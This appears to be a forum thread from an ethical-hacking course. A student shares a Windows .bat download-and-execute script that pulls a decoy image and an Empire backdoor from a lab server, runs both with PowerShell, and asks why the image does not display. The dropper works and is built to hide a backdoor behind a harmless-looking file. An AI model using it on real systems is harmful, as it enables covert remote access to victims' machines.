Viewing 9 posts - 1 through 9 (of 9 total)
  • Author
    Posts
  • #40488
    Kayoh
    Participant

    Hi all,
    I’m on the “Embedding Evil Files With Any File Type Like An Image Or PDF” part of the course and have downloaded the .txt file in the resources, changed it to .bat and edited the text inside to add an image url and the empire backdoor.

    My issue is that the .bat file doesn’t load the image when its opened?
    It does however run the backdoor which gives me access to the target which is great.

    How do i get it to automatically open the image?

    #40505

    Hello Tcale89,
    Are sure you are using direct URL for your image ?

    Regards,
    Sithum Nimlaka.

    #40514
    Diego PérezDiego Pérez
    Moderator

    Hi Tcale!

    Can you share the content of your download and execute file?

    Thanks!
    Diego

    #40553
    Kayoh
    Participant

    the image is: https://images-cdn.9gag.com/photo/ag5pMyg_460s.jpg

    my file is:


    @echo
    off

    set files=’https://images-cdn.9gag.com/photo/ag5pMyg_460s.jpg’,‘http://10.0.2.15/evil-files/8080httpempire.bat’

    powershell “(%files%)|foreach{$fileName=’%TEMP%’+(Split-Path -Path $_ -Leaf);(new-object http://System.Net.WebClient).DownloadFile($_,$fileName);Invoke-Item $fileName;}”

    #40582
    Diego PérezDiego Pérez
    Moderator

    Hi Tcale!
    The problem here is the url used in your download and execute file, you should remove everything else in the URL after .jpg, just as you have shared the image here in the first link.

    Let me know how it goes!
    Diego

    #40627
    Kayoh
    Participant

    In my File it doesn’t have all those symbols after the .jpg not sure where they came from when i copied and pasted.

    Every time i type the .jpg link it seems to keep putting those symbols after :S which aren’t in the .bat file :S

    this is an image of my file it doesn’t have the weird symbols after the .jpg:

    View post on imgur.com

    #40651
    Diego PérezDiego Pérez
    Moderator

    Hi Tcale!
    Ok, cool.
    That’s weired, does your windows machine has internet access? can you try with a different image? or maybe store the photo in your apache server as well and see if it works properly.

    Let me know how it goes!
    Diego

    #40687
    Kayoh
    Participant

    Yea its strange, tried with other direct links to images they didn’t load either.
    Il host it on the apache2 server and see what happens.

    The Windows machine does have Internet access.

    #40714
    Diego PérezDiego Pérez
    Moderator

    Hi Kayoh!
    Let me know how it goes!
    Diego

Viewing 9 posts - 1 through 9 (of 9 total)
  • You must be logged in to reply to this topic.